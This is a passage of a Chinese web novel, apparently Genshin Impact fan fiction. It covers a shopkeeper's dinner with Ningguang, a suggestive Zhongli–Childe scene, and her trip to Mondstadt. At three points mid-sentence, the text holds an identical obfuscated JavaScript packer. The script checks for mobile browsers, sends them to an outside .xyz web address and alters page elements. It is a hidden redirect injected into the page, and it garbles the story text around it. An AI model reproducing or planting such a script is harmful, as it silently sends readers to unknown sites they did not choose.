“连甘雨小姐都惊动了，合欢馆的后台果然是璃月七星！” “说话过过脑子，显然是天权星坐不住了，要问罪了啊！” “跟上去看看不就知道了！” “走走走——” 合欢馆的大门一如既往地半掩着，“叮咚”一声，门口的风铃被来人推门的动作震响，夹杂着雨丝的寒风顿时卷了进来。 “欢迎光临！”青棠充当着人形招财猫的作用，在铃声响起时立刻抬起笑眼，“……甘雨？” “欸，原来我这么有名吗？”甘雨一愣，浅紫色的瞳孔微微睁大，空白的表情显出几分呆萌。 青棠噗嗤笑出了声，视线移到她的身后。一大群人杵在门口，贼头贼脑地朝里面张望。 青棠：“有什么事吗？” 甘雨抬起指尖，拢了拢鬓边的碎发，轻声细语地说道：“如你所见，我是璃月七星的秘书甘雨。凝光小姐让我过来传话，请你移步群玉阁一叙。” 她的声音不大，却清晰地传到了每个人的耳朵里。 刚才猜测天权星请喝茶的人，得意于自己的未卜先知，纷纷露出了幸灾乐祸的表情。 打着璃月七星的幌子给自己引流了这么久，这会儿青棠也有些忐忑，她干笑两声，想提前做个心理准备，便问道：“咳……是我不小心违反了什么律法吗？” “不。”甘雨心性纯良，根本不管那些弯弯绕绕，如实说道，“凝光小姐邀请你共进晚餐。” 这话一出，外面那些窃窃私语的人顿时张大了嘴巴，一双双眼珠子活像是要瞪出眼眶。 那可是群玉阁啊，多少商人梦寐以求的藏宝地—— 哪怕是从群玉阁洒下的一点纸屑，都能让一个身无分文的乞丐，一夜之间变成富甲一方的财主。 多少人一掷千金，千方百计地疏通门路，也没能踏足一次的地方，现在这个初露头角的合欢馆老板，却直接受到了天权星的邀请，还是由甘雨亲自来请。 这是怎样的殊荣啊！ 那些等着落井下石的人，瞬间变成了诚惶诚恐的哑巴。即便再迟钝的人，此时也终于意识到，他们惹到了不该惹的人。 青棠的视线扫过那群人惊疑不定的表情，暗自松了口气之余，心里还莫名地有点爽。 她答应道：“等我拿把伞。” “等等。”甘雨叫住她，将捂热的伞柄递给她，雨水顺着伞骨往下淌，又被冰元素力消去，“如果不介意的话，请用这把伞吧。” 于是，茫茫细雨里，围观群众就目送着甘雨小姐亲自撑伞，护送青棠往玉京台的方向走了。 不少人望着合欢馆关闭的大门捶胸顿足，当初怎么就没投这个项目呢？做不了投资人做员工也好啊，就算做不了员工—— 来做人体模特也行啊？！ …… 群玉阁是笼罩在璃月港上空的浮岛，玩游戏时看着建模只觉得挺精巧，直到真正踏上这座空中楼阁，青棠才真切地感受到这座宫殿多么大多么金碧辉煌。 随随便便撬上一块砖，大概就够她一辈子的房租了…… “群玉阁的建筑结构是刻晴大人设计的，青老板若是感兴趣，稍后可以送您一套微缩模型。” 百识突然出声，将青棠的目光从金砖上拉了回来。 一天24个小时，甘雨有25个小时在处理工作，将青棠送到步云梯的入口后，她就回去月海亭继续加班了，后续的接待则交给了凝光的生活秘书百识接手。 “那敢情好啊。”没想到还有伴手礼，青棠对她的善解人意很是满意，“我摆个群玉阁模型在家里，就跟供财神爷差不多了。” 话音落下，百识还没回应，一道优雅从容的声音就从屏风后传来：“那恐怕要让青老板失望了，我虽然身居天权星之位，但目前还没有能力与帝君相比。” 百识立刻退到旁边，恭敬道：“凝光大人。” 青棠绕过屏风，一眼就看到了坐在桌边的白发女人。 好亮—— 她的第一感受就是太亮了，细碎的灯光洒在她的裙摆上，浮起一片雍容华贵的金斑。 她坐姿端庄，指尖轻轻搭着檀木桌沿，周身透着商人的精明与上位者的威仪，这两种气质又完美地糅合在微挑的红瞳里。 一眼望过来，青棠心中登时亮起危险的信号，要不是在游戏里对凝光有所了解，她都快跪了。 她稳住表情，好歹没露怯，轻扬唇角大方拍马屁：“凝光大人，我买股的是未来，等群玉阁的影子覆盖七国，我这小小模型的身价不也跟着水涨船高了？” 凝光挑了挑眉，似是有些诧异，她居然抗住了压力测试。 而且马屁精见得多了，但一语点明她心中所想的倒是稀罕。 有点意思。 “不必拘礼。”她勾唇轻笑，收起锐利的目光，指尖虚虚地点了点对面的座位，“请坐。” 案上摆满了山珍海味，琉璃盏里盛着甜香的桂花酿，比新月轩平日里售卖的版本还要浓烈几分，想来是群玉阁特供。 青棠坐下后，百识自觉地退出房间，轻轻关闭房门，只留下半道虚掩着的门缝。 凝光手里把玩着玉盏，开门见山地说道：“短短两个月，青老板就从璃月港内籍籍无名的小贩，变成了搅弄风云的大人物。” 青棠：“……”这话好像不是在夸我，不确定，再看看。 夹菜的手顿住，她谨慎地说道：“呃……也没有吧，我就是站在巨人的肩膀上。” “不错。”凝光点头，眼尾撇扫过来，“借着璃月七星的名头敛财，还变相拉高了婚契毁约率，整个璃月港你倒是独一份。” 果然是来兴师问罪的。 青棠暗叹一声，简直想大喊一句冤枉，离婚率创新高了就怪她的小玩具，这和孩子考试不及格了就怪网络游戏的家长有什么区别？ 她放下筷子，直视凝光，诚恳地说道：“可我也拉高了璃月港的卫生健康水平啊。” 看看现在的药庐，因为不安全性行为而发热的患者数量直线下降，这难道就没有她的功劳吗？ “呵，巧舌如簧，难怪北国银行愿意与你合作。”凝光眯起眼睛，“只是我很好奇，你是如何说服那位公子配合你的？” 来了来了，一口菜还没吃上，就要迎来暴风雨了吗？ 青棠望着面前的金丝虾球，心想您这燕国地图有点短呐。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15449825|169314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她必然不会把公子和钟离的事情抖落出去，于是她抬起头，眉眼一弯：“因为我赚得多啊！北国银行出版的时尚风尚，投资回报率高达700%，这还没算有些没买到的人从黄牛手中收购的价格……” 她深吸一口气，开始给天权星画大饼：“虽然北国银行抢占了版权的先机，但是没关系，您可以垄断二手市场啊，到时候您在黑市交易里抽成，中间商赚差价……” 这一套黑白通吃的方案行云流水，仿佛在她心里预演了千百遍，听得凝光眉心微皱。 钻法律空子的人并不稀有，但这样一个目光透着清澈的愚蠢的小商人……居然预判了她的预判，猜到了她会插手黑市交易，还这么直白地说了出来？！ 那种被人看透的感觉，是任何上位者都难以忍受的。 凝光经商多年，自诩阅人无数，第一次觉得自己看走了眼。 她忽然意识到，这个青老板和合欢馆，一点也不像她想的那么简单。对方或许在生意上还有些稚嫩，但绝对非常非常了解她。 这样一个人，在她和北国银行之间，选择维护后者的利益，是因为那位愚人众执行官的资助吗？ 凝光沉默片刻，不得不重新开始审视对方的价值了。 “罢了，你们私下里的交易我可以不问。”她缓声道，“但是有件事，我想委托你去做。” “委托？”青棠好久没听到这个词了，瞬间来了精神，“有什么好处？”不给个1600原石说不过去吧。 泛着琉璃光泽的杯盏在手心缓慢转动，凝光开口道：“群玉阁会为你提供你想要的所有支持，不是你杜撰的那种。” 青棠：“……！”那岂不是可以在璃月横着走了？！ 这得是多难的任务啊？让我去偷其他国家神明的神之心吗？ 她压住内心的激动：“请说。” 凝光意味深长地看着她：“我希望你能把业务发展到蒙德。” 青棠：“？” 这是什么心态？ 因为小玩具拔高了璃月的离婚率，所以也要用这种方式摧毁其他国家的人口结构吗？ 别人曲线救国，你曲线灭世。 “蒙德的酒水占据了璃月五成以上的市场，璃月销往蒙德的商品却经营惨淡，我需要以你的玩具为突破口，打开蒙德的市场。” “噢！”这么说青棠就懂了，翻译过来就是迪卢克老爷的外贸业绩太猛了，给群玉阁上压力了。 “巧了不是！”青棠眼神发亮，“我正有此意啊——所有店面装修包括宣传费用群玉阁全包？” “当然。”凝光颔首道，“不过群玉阁的投入也不是无限的，你必须与我签订盈利契约。” 不就是对赌协议吗？签！ 凝光敲了敲屏风，守在外面的百识听到动静立刻进屋，把早就拟好的契约摊开在青棠面前。 青棠一点也不带犹豫的，抄起笔就唰唰签下了自己的名字。 做生意就是要杠杆拉满！璃月富婆还能害我不成？ 一番交涉，两人都得到了自己想要的，一顿饭吃得其乐融融。 吃完饭，百识奉上一个精致的小盒子：“这是群玉阁的模型，青老板留着做个纪念吧。” “谢谢。”青棠接过来，紧接着就挑起锁扣，打开雕花盒盖。 身为美术生，她对建筑学还是蛮感兴趣的，以前在选修课上也做过几个木头模型…… 我、去！！！ 青棠目瞪口呆，猛地倒吸一口凉气，拼命眨了眨眼睛。 凝光就这么随手一送，她也就这么随手一接，谁能想到—— 这模型是纯金的啊！ 15.第 15 章 夜色深沉，雨丝仍密密地织着，整个璃月港浸泡在冷冽的水汽里，时间也变得黏稠而缓慢。 往生堂某处厢房，水珠从檐角滴落，一声，又一声，渐渐与屋内的心跳声混在一处了。 一只骨节分明的手抬了起来，勾住眼前垂落的银链。 细密的睫毛颤了颤，洒下小片阴影，钟离嗓音微哑：“公子阁下，这就是你说的惊喜？” 银链的另一头连接着一个皮质的项圈，正扣在某人淌着湿汗的颈间，稍一拉扯，浑身上下的皮带顷刻收紧，青筋便会随着某人咬牙的力道一鼓一鼓地搏动。 肌肉被勒得有些酸胀，达达利亚做不出幅度太大的动作，只是曲起半边膝盖跪在床沿，双臂撑在钟离身侧，将他拢在方寸之间。 垂下的眸子璨若星辰，呼吸滚烫：“先生，你满意吗？” “你精心准备，我自然受用。”这种时候，钟离往往比平时坦诚，毕竟无论是身体还是言语的反馈，都是对恋人的鼓励。 指尖划过对方凸起的喉结，挑开简易的银质锁扣，略显可怖的青紫痕迹瞬间映入眼帘。 钟离皱了皱眉头，不太赞同地说道：“取下来吧。若是今夜都戴着此物，你可能会受伤。” 达达利亚微微仰起头，因为他的触碰，喉结滚动得更加剧烈。 热汗从额角流下来，打湿了他的眼睫，没有高光的瞳孔像是蒙着雾，语气分明是轻松的，说出来的话却偏执得要命： “那先生答应我，永远不要忘记我，好不好？” 其实钟离的记性很好，好到他自己有时候都感到不快。 可当他年轻的恋人用撒娇的口吻说出“永远”这种话时，他还是觉得心尖最柔软的地方被人挠了一下，留下一道浅浅的口子。 钟离叹了口气，用手肘撑着床榻，一仰起头，散落的墨色长发便顺着肩头滑了下去。 他几乎是贴着达达利亚的下颌在说话：“不让你追求长生，是不想让你经受磨损。你曾长时间待在深渊，身体又经过邪眼的改造，寿命本就有所折损，强行延续只会遭受更严重的反噬。” 这不是什么动听的话，所以他说得很慢，似乎是在斟酌措辞。 可每说一句，达达利亚的眼神就明亮一分。最后，他弯起眼睛：“先生，你是在向我解释吗？” 钟离实在太少跟别人解释自己说某句话的缘由了。 以前是因为身边的人都等着他做决定，只管执行他的命令，没必要也没胆量多问。 后来是因为换了身份，岩王帝君时期留下的那些只言片语，就算他解释了别人也不信，搞不好还要闹出“是懂你岩王爷还是我懂岩王爷”的笑话。 但即使不擅长剖白，他还是拧着眉心，一点点把这些话掰开揉碎了，解释给达达利亚听。 这间厢房长年熏香，原本到处都沾染着清苦的味道，此时却让达达利亚尝到了久违的甜。 上次他在情动之中问出那句话，居然让钟离先生这么在意…… 与其说他是想不老不死，倒不如说，他是想在钟离心里占据一个独一无二的位置。 而现在钟离的解释和烧红的眼尾说明了一切，他就是数千年来，先生心中最特别的人。 达达利亚不再刨根问底了，他俯下身，顺着那抹嫣红吻过去。 冰凉的银链撞上炽热的皮肤，钟离肩膀一颤，含糊不清地喊了一声：“阿贾克斯……” 兴致勃勃的人顿时停下动作，紧张道：“怎么了，先生？” 钟离眯着眼睛，透过朦胧的水雾看着他，嗓音沙哑地说道：“与我签订新的契约吧。” …… 砰砰砰—— 哪个神经病邻居大清早装修？ 青棠翻了个身，将脑袋埋进被窝里，太阳穴仿佛正在经历“80！40！”被锤穿的痛苦。 过了五百年，也可能是五分钟，门外的人仍在锲而不舍地砸门。 青棠痛不欲生地睁开眼睛，看到窗外灰蒙蒙的天空，脑海里一瞬间蹦出了一百个毁灭世界的方案。 她“噌”地坐起来，胡乱抓起衣服套到身上，三步并两步走到门口，一把拉开大门，翘着凌乱的头发吼道：“让不让人睡觉了？！” 被吼的人穿着略显单薄的衬衣，姿态懒散地倚靠在墙边，不仅没有生气，反而笑眯眯地打起了招呼：“早上好，伙伴。” 看清来人，青棠瞬间露出一言难尽的表情：“你一个猛1怎么起这么早？你是不是不行啊？！” 怎么回事？这会儿难道不该是你和帝君不早朝的时间吗？ 是我的衣服设计得不够涩，还是我太高估你的体力了？！ “啊。”达达利亚嘴角挂着压不住的笑意，理所当然地说道，“我和钟离先生都没睡啊。” “啊？”青棠惊呆了，看了看他脖子上新鲜出炉的牙印，又看了看他精神抖擞的表情…… 这是做了一晚上吗？！ 怕了怕了，至冬战士名不虚传，简直突破当代大学生的想象。 起床气顿时被CP身体力行的和好喜讯冲淡了些，青棠揉了揉困倦的眼睛，说道：“那你随便坐会儿，等我换个衣服。” 十分钟后，两人坐在没开门的店铺里，一人捧着一杯热椰奶。 青棠坐姿端正，一手握着笔，一手抬起纸卷，冲着达达利亚，一本正经地问道：“采访一下，请问你和钟离先生对我的得意之作有何评价？” “真是天才的设计！”达达利亚竖起大拇指，赞不绝口地夸奖一番，然后意犹未尽地说道，“可惜没一会儿就被我绷断了。” 绷、绷断了？！ 青棠震惊了，那可是她特意挑的最结实的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15455012|169314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 材料，打样的时候她还去工厂看过，抗拉测试仪的参数调到最大都完好无损。 你俩这是有多激烈啊？！ 不过这两人的身体素质吧，确实不能以寻常人来衡量。 青棠若有所思地做了个记号，又问了几个体验感方面的问题，认真记录了达达利亚的回答，准备后面再做设计改良。 达达利亚显然还处在兴奋的状态里，闲不住地东拉西扯：“这次来璃月收获太大了，唯一遗憾的就是没有遇到值得一战的强敌……” 青棠头也不抬地画着草稿：“嗯嗯嗯。” 要不然你现在去望舒客栈吼一嗓子“我搞到钟离了”，下一秒脑袋上就会多一把和璞鸢呢。 达达利亚托着下巴：“在我的老家，现在应该下雪了吧，真想带钟离先生回去冰钓啊……” 青棠：“嗯嗯嗯。” 钟离那么讨厌海鲜，真的会喜欢钓鱼吗？算了，他连鲸鱼都忍了，如果这都不算爱，不如回家卖白菜。 达达利亚叨叨了五分钟，越说越觉得心情舒畅，最后大手一挥，慷慨说道：“我决定了，我要追加一百万投资！” “嗯嗯嗯。”青棠终于勾好了新的设计图，边收笔边说，“你俩这个强度，确实得给我加点钱，不然送你衣服真得赔本了。” 话说到这里，达达利亚咂摸出不对劲了：“伙伴，你以前走在路上，捡到区区七百摩拉都要激动半天，今天这是怎么了？” “什么叫区区七百摩拉，那可是一个精致宝箱！”青棠对他的用词表示了鄙视，然后往椅背一靠，朝着旁边的展示台扬了扬下巴。 达达利亚顺着她的目光望去，黄金浇筑的群玉阁模型摆在最显眼的位置，高调又张扬。 他顿时挑了挑眉：“不错嘛，我还以为那位天权星知道了你和北国银行的关系，会为难你呢。” “没人会跟钱过不去。”青棠说，“现在我成天选打工人了，一下给璃月七星和愚人众两边打工。” 达达利亚本身对经商不感兴趣，他不太在乎钱是怎么来的，就算真亏了也不见得多心痛。 但现在连璃月七星都盯上了这门生意，倒是让他有点好奇了：“你打算怎么做？” 青棠嘿嘿一笑，一边给他展示刚才画好的设计图，一边拍板道：“我要搞联动！” “哦？你要跟哪家商铺联动？”达达利亚接过画纸。 纸上是几套新款的情趣睡衣，比店铺里挂的款式含蓄许多，每一套都有很鲜明的璃月元素，琉璃百合、霓裳花、清心…… 标题十分应景地写着“花神系列”，而每一件衣服的旁边，则画着对应配色和花纹的…… 达达利亚如遭雷劈，张着嘴愣在原地，半晌才难以置信地吐出几个字：“往生堂联动骨灰盒？！” 就是说现在撤资还来得及吗？ 16.第 16 章 沉默，死一般的沉默。 青棠脸上的表情几经变换，五官各有各的想法，拧成麻花的眉心像是要把人活生生夹死，抿起的唇角则死死封印着脏话。 但凡坐在面前不是金主，这会儿应该吃到她的暴力铁拳了。 “回家吧孩子。”她牙疼似的咧开嘴，要多无语有多无语，“你的商业头脑真的太超前了。” 达达利亚的表情还有点懵。 青棠吐血，一把抢回自己的心血设计稿，戳了戳那个无辜的小盒子，拔高音量强调：“这是装香膏的！春香窑的香膏！” 她算是悟了，再跟这人讨论生意问题，也别情趣睡衣联动往生堂了，干脆她自己联动往生堂，买口棺材躺进去，自助合盖。 “哦。”达达利亚摸了摸鼻子，也觉得自己的想法挺离谱，于是虚心问道，“为什么是这家店？” 青棠当然不是随便抓阄选的。 昨晚她从群玉阁薅了些内部资料，回来后研究了大半宿，大致捋顺了璃月和蒙德的外贸现状。 蒙德的手工业和酿造业发达，尤其是晨曦酒庄的出口酒在璃月口碑极好，放到现代约等于罗曼尼康帝，不仅是口感突出，而且还有品牌附加值，是各种高端社交场合必不可少的排面。 璃月的出口优势则是矿石原材料，至于其他销往蒙德的商品，从出口额上来说，倒也没有那么拉垮，只是和璃月本地的销售额比起来，还是差得太远了。 只有香膏这一项，璃月市场和蒙德市场的销量几乎是持平的。 因此，搭着春香窑的便车进军蒙德市场，是再合适不过的了。 青棠叭叭解释了一大堆，再抬眼一看达达利亚的表情……像极了高中时候上数学课的自己。 “算了。”她叹了口气，“你就别管了，等着数钱就行了。” “好吧。”达达利亚耸了耸肩，“如果有什么需要北国银行出面摆平的事情，尽管告诉我。” “放心。”青棠说，“我有鸡毛当令箭，还用不到你出手。” 如果是昨天她想去找春香窑合作，还不见得有十足的把握。 但今天就不同了，她现在有凝光的托付在身，那就是手持尚方宝剑。而且最近合欢馆的热度有目共睹，她敢保证春香窑不会拒绝。 送走达达利亚，青棠打扫下卫生，就到了店铺开门的时间。 近日店里摆出了一批新款小玩具，其中有一半是闲云在原有的玩具基础上升级迭代的。 为了实时监控这批玩具的销售情况，及时得到顾客的反馈——或者说及时听到顾客的夸夸，这几天闲云每天都会过来坐班。 今天她刚一过来，青棠就拉着她在沙发上坐下了。 又殷勤地给她泡了一杯茶，然后搓着手表示：“闲云老师，有件事情我想跟您商量一下。” “嗯？”闲云挑起眉梢，“你又研究出新的机关了？” “那倒不是，我能想起来的所有结构图都画给您了。”青棠顿了一下，还是决定实话实说，“就是我昨天在群玉阁接了个活，之后要去蒙德出差一段时间。” “群玉阁？”闲云似乎想起了什么，“先前那些人传闲话之时，我还没来得及问你，你当真和璃月七星私下里有交易？” “没有的事。”青棠否认道。 看到对方怀疑的眼神，她突然想起来这位也是个甚少考虑人情世故的主，只好简单解释道： “就是凝光请我去开拓蒙德市场，只要我把分店开起来，她会安排人员接手常规事务，开店成本和后续开销她全包了，至于赚的钱嘛，大头还是我们的。” 闲云沉吟片刻：“听起来似乎是稳赚不赔的买卖。” “是啊，机会难得，所以我得去蒙德实地调研！”青棠说出自己的请求，“我想请您帮忙看店。” 闲云面无表情地看着她。 青棠窸窸窣窣地蹭到她身边，“您也知道，我们这个店一出生就多灾多难的，现在又在风口浪尖上……我也不想让您这么累，但是换一个人也镇不住场子啊。” “拜托了，闲云老师！” 她狗狗祟祟的样子像小仓鼠似的，闲云瞧着心尖发软，没忍住笑了下，但鼻腔里还哼了声：“我可不是专门来给你看店的。” “我知道，但这不是没办法嘛？只有老师您能胜任了！”青棠双手合十，打包票道，“而且您放心，我最多就去两个月！” 她和凝光签的对赌协议，约定的期限就是两个月，完成了回来讨赏，完不成回来讨饭。 闲云答应了。 安排好店里的事，青棠就带着设计稿和营销方案，直奔春香窑。 春香窑的莺儿小姐也是游戏里的老熟人了，当初帝君在玉京台演了场仙逝的戏码，送仙典仪上用的香膏就是莺儿调的。 说起来，这店还是钟离介绍的……想到这里，青棠哭笑不得，“我送我自己”的笑话还在追我。 有本事跟往生堂合作的，那都是八面玲珑的人，一听说青棠是带着群玉阁那位的意思而来，莺儿二话不说就答应了联动。 之后的两周，青棠每天亲自跑工厂催工期，终于在最短的时间内把联动商品赶制了出来。 “花神系列”先在璃月市场小试牛刀，结果一面世就大受好评。 这次的营销甚至不需要青棠绞尽脑汁，凝光说到做到，连群玉阁都开始为合欢馆造势。 前段时间合欢馆的风评还两极分化呢，现在直接一边倒了。 新的联动套装又恰好踩爆了璃月人的审美点，短短几天销售额就超过了前面所有小玩具。 一个阳光明媚的早晨，青棠带着大获成功的“花神系列”和香膏，踏上了去蒙德的路。 “欸，师傅，前面刹一Jio！” 赶车师傅挥着马鞭，正目不转睛地看着眼前蜿蜒的石子路，忽然感觉肩膀被人拍了拍。 “唉我说小姑娘，你有完没完？”赶车师傅一惊，连忙一勒缰绳，紧接着扭过头抱怨道，“一边赶路一边捡垃圾，按照这个速度，半夜才能到蒙德城了。” 从璃月港到蒙德城，说远不远，说近也不近，一路要经过荻花洲、石门、晨曦酒庄、清泉镇。 拜这位磨叽老板所赐，现在日头西斜，他们才走完小半程。 可惜青棠根本没听进去，她放下手里的望远镜，一溜烟儿窜了出去，钻进芦苇丛一阵翻找，拖出一个木质的宝箱， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15467342|169314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兴高采烈地打开。 700摩拉巨款到手！ 青棠抱着战利品，乐颠颠地跑回来，眉飞色舞地说道：“师傅你不懂，我们锄大地玩家——头可断，血可流，宝箱不可漏！” 日入10W是工作所迫，锄大地700才是享受生活。 赶车师傅摇了摇头，一脸“这孩子没救了”的表情，也不再劝了，加快速度往石门的方向去。 一路走走停停，终于到达清泉镇，天色果然已经黑了。 “谢了啊，师傅。”耽误了人家时间，青棠还是有些不好意思的，“凝光大人跟西风骑士团联系过了，会有人来接我的。您不用管了，早点回去休息吧。” 她的行李不多，主要就是几口装玩具和香膏的大箱子。 赶车师傅回到清泉镇的小屋，从仓库里找出一辆小推车，又用绳子帮她把箱子固定牢，嘱咐了一句“路上小心”，方才安心下班。 青棠跟赶车师傅道别，拖着推车，往蒙德城的方向走。 蒙德和璃月虽然离得很近，但地形却迥然不同。 璃月多山地，一座座巨峰拔地而起，笔直地冲向云霄。而蒙德大部分地区则是平坦的草地。 传说这个风之国度也曾有过陡峭的峰峦，是风神巴巴托斯用神力削去了那些奇险的山丘，最终只留下了如今一望无际的平原。 远处的地平线消融在黑暗里，深蓝夜幕上点缀着星子，仿佛撒了一把细碎的钻石。 偶尔有夜风掠过，草浪便懒洋洋地翻个身，发出轻缓温柔的沙沙声，很快又归于沉寂。 野花的幽香徐徐传来，青棠走得很慢，尽情享受片刻的静谧。 忽然，一声尖啸打破了宁静。 那声音太过耳熟，青棠条件反射地就想长按E键。 下一秒，她才想起自己就特么在游戏里，没有神之眼，帝君也不在身边，根本E不了一点。 她深呼吸了下，缓缓扭头。 黑暗里，一片火光摇晃，三只火把丘丘人盯着她和她的推车，领头的丘丘人一挥手，其他两个小弟就嗷嗷地朝她扑了过来。 说时迟那时快，青棠当机立断丢下货物，拔腿就往城门口跑。 “救命啊——” 这嘹亮的求救声在夜色中久久回荡，栖息在离岛大桥上的鸽子群登时惊醒，纷纷扑扇起翅膀，一窝蜂地往天空飞去。 就在这些倒霉鸽子飞到一半的时候，大桥另一头突然传来一声沉稳有力的低吼： “烈焰——燃毁！” 一片比太阳还眩目的光芒骤然亮起，青棠下意识闭上眼睛，只觉得身侧一阵热浪涌过，下一秒身后就响起了丘丘人的惨叫。 鼻尖嗅到了一股焦糊味道，青棠一惊，倏地睁开眼睛。 就见桥对面站着一个红发红衣的年轻人，一把燃着火焰的大剑扛在肩头，隔着这么远的距离都能感受到那炽热的温度。 桥中央，一群被烤焦的鸽子从空中坠亡，黢黑的羽毛漫天纷飞，徒留满地香喷喷的禽肉。 “啪啪啪——” 青棠咽了咽口水，忍不住站在原地鼓起了掌。 不愧是我游开荒时期的人权大C，入职测试满分！ 17.第 17 章 夜风掠过蒙德城门，蒲公英“噗”地绽开，浮起两三簇雪絮。 每往前走一步，对面这位红色很烫的男孩子脸色就冷一分。 直到青棠磨磨蹭蹭地挪到他身边，盯着那张小猫批脸，说了声：“谢谢你，迪卢克老爷。” 对方才收起浴火的大剑，随即投落审视的目光：“你是谁？” 璃月和蒙德的外交关系不错，青棠也不惧自报家门：“我叫青棠，是凝光大人派来的商人。” “璃月的天权星？”迪卢克很快反应过来，“你是骑士团的客人？” 青棠谨慎地点了点头，脸上的表情有些欲言又止。 她想起了遗留在郊外的货物，犹豫着要不要拜托迪卢克陪她过去取回来，毕竟天色越来越黑，又刚经历转角遇到丘丘人这种惊悚事件，她不太敢独自行动。 但是…… 众所周知，迪卢克和西风骑士团的关系很微妙。 而且这人一天打两份工，看他现在这个打扮，应该是出来做暗夜英雄，准备去清剿魔物的。 青棠沉默地思考着措辞，而迪卢克也不是自来熟的人，守城的卫兵就看着他俩站在风中面面相觑，场面一度十分尴尬。 终于，三道声音同时响起。 “迪卢克……” “你……” “哟。” 这横插进来的笑声让两人俱是一怔，冰块般冻结的氛围顿时被轻快的脚步声打破。 嗒嗒嗒—— 青棠扭过头，就见到城门里走出一个身高腿长的男人。 深蓝色的头发绑成了马尾，松松地垂在胸前，一只眼睛被眼罩覆盖，另一只眼睛则像是嵌着星辰，在不可视物的夜色里，明亮得仿佛某种稀有宝石。 随着他的靠近，空气中传来香槟和苦艾酒的味道。 身为晨曦酒庄的庄主，迪卢克对酒精很敏感。 青棠看到他的眉头微不可见地皱了皱，嘴唇跟着动了动，但到底还是没说出难听的话。 奇怪，迪卢克虽然自己不喝酒，但偶尔也会去酒馆充当调酒师，怎么突然闻不得酒味了？ 这个疑问刚跳进青棠的脑海，还没分析出头绪，来人就三两步走到了她面前：“远道而来的客人啊，欢迎来到蒙德城，我为你预留了最棒的午后之死。” 噢，原来这股微酸的味道就是凯亚最喜欢的午后之死。 看到他行骑士礼的模样，披风应声扬起，划过银亮弧光，真的很难不让人联想到漂亮的孔雀。 果然，听到这话，迪卢克立刻黑了脸色，他抱臂而立，不客气地说道：“你有接待任务，却擅离职守跑去喝酒，天使的馈赠不会为你承担外交事故的责任。” “哈哈。”凯亚毫不在意地笑了，“别这么说嘛，请客人品尝蒙德特产，也是外交的一环啊。” 迪卢克面无表情地看了他一眼，又将目光移向一旁的青棠。 青棠连忙表示：“我成年了。” “你看，我们的客人很期待呢。”凯亚调侃完，这才想起自我介绍，“我叫凯亚，是西风骑士团的骑兵队长，抱歉来晚了。” “没有没有，是我路上耽搁了，不然下午就能到的。” 青棠也有点不好意思，跟他握过手后，终于敢提出自己的诉求了，“我的货落在前面路口了，凯亚队长能帮忙捡回来吗？” “当然。”凯亚踏上离岛大桥，一边以保护的姿态走在前面，一边绅士地说道，“很荣幸为你效劳。” 青棠跟在后面，刚走出两步，就听到身后传来了脚步声。 她撇过眼，看到迪卢克也跟了过来，一时间也没多想，以为对方是要去清理护城河附近的魔物，不禁暗叹这人真有精力啊。 堪称蒙德蝙蝠侠。 不过蒙德作为自由之邦，大部分人还是比较闲散的生活状态吧，想到这里，青棠扭头跟凯亚说道：“辛苦你加班了。” “不用道歉，小姐。” 不得不说，凯亚的腿是真长啊，即使刻意放缓了步伐，青棠还是得快走两步才能跟上。 凯亚再次放慢速度，同时回头说道：“在蒙德，任何人都有随意安排行程的自由。” 话音落下，他停住脚步，挑起眉梢，露出玩世不恭的笑容。 青棠一愣，顺着他的目光扭过头：“怎么……” 话没说完，她的脸上就像漫画似的，跳出了无数的问号。 迪卢克冷静地跟她对视，不答反问道：“怎么了？” 青棠看了看周围，密林掩映，他们已经踏上去清泉镇的小路了，迪卢克怎么还跟着他们呢？ 她不确定地问道：“迪卢克老爷，你是要回晨曦酒庄吗？” 凯亚饶有兴味地摸了摸下巴，看好戏似的等着他的回答。 迪卢克的表情更冷了，嘴唇紧抿，半晌才吐出一句：“每个人都有安排行程的自由。” “噗。”凯亚捧腹大笑，“我说迪卢克老爷，抄袭别人的话也太没创意了吧，你不如说外面危险，需要我保护你回晨曦酒庄。” 青棠觉得自己应该是出现幻觉了，否则怎么能清晰地看到迪卢克的额头蹦出黑线呢。 “最近丘丘人很活跃，似乎有什么因素引发了群体暴动。”迪卢克冷冷地看着凯亚，“而你，酒精会让人晕眩，我很怀疑你现在是否还有单打独斗的实力。” 青棠更迷惑了，不至于吧？ 西风骑士团总共就十位骑兵队长，凯亚就是其中之一，解决几个丘丘人不就是砍瓜切菜吗？ 她刚想提醒迪卢克有点大题小做了，就听到凯亚哂笑道：“看来迪卢克老爷很不信任我啊。” “你的信用的确堪忧。”迪卢克说，“我不希望再出现上次那样的情况，晨曦酒庄不收留醉鬼……” 